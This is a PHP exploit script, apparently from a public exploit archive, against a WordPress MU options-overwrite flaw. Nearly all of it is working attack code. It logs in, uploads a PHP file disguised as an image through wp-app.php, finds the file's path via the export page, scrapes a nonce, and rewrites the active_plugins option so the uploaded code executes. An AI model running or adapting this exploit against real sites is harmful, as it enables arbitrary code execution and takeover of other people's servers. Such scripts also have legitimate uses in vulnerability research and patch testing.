wpmu-exec.txt

`<?php  
/*  
WordPress [MU] blog's options overwrite  
  
Credits : Alexander Concha <alex at buayacorp dot com>  
Website : http://www.buayacorp.com/  
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html  
  
This exploit uses active_plugins option to execute arbitrary PHP  
*/  
include_once './class-snoopy.php';  
  
// Fix Snoopy  
class SnoopyExt extends Snoopy {  
function _prepare_post_body($formvars, $formfiles) {  
if ( is_string($formvars) ) {  
return $formvars;  
}  
return parent::_prepare_post_body($formvars, $formfiles);  
}  
}  
  
set_time_limit( 0 );  
  
// Any user with 'manage_options' and 'upload_files' capabilities  
$user = 'user';  
$pass = '1234';  
$blog_url = 'http://localhost.localdomain/mu/';  
$remote_file = ''; // relative path to wp-content  
$local_file = ''; // the contents of this file, if any, will be uploaded  
  
$snoopy = new SnoopyExt();  
  
$snoopy->maxredirs = 0;  
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';  
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));  
  
$snoopy->setcookies(); // Set auth cookies for future requests  
  
if ( empty($remote_file) ) {  
// Upload a new file  
$snoopy->_submit_type = 'image/gif';  
$snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());  
  
if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {  
$remote_file = basename($match[1]);  
}  
}  
if ( empty($remote_file) ) die('Exploit failed...');  
  
// Look for real path  
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");  
  
if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) {  
$remote_file = preg_replace('#.*?wp-content#', '', $match[1]);  
}  
if ( empty($remote_file) ) die('Exploit failed...');  
  
// It asumes that file uploads are stored within wp-content   
$remote_file = '../' . ltrim($remote_file, '/');  
  
$snoopy->fetch("{$blog_url}wp-admin/plugins.php");  
  
// Recover previous active plugins  
$active_plugins = array();  
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) {  
foreach ($matches[0] as $plugin) {  
if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )  
$active_plugins[] = urldecode($match[1]);  
}  
print_r($active_plugins);  
}  
$active_plugins[] = $remote_file;  
  
// Fetch a valid nonce  
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");  
  
if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) {  
  
// Finally update active_plugins  
$snoopy->set_submit_normal();  
$snoopy->submit("{$blog_url}wp-admin/options.php",  
array(  
'active_plugins' => $active_plugins,  
'_wpnonce' => $match[1],  
'action' => 'update',  
'page_options' => 'active_plugins',  
));  
}  
  
function get_contents() {  
global $local_file;  
  
return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';  
}  
?>  
  
  
`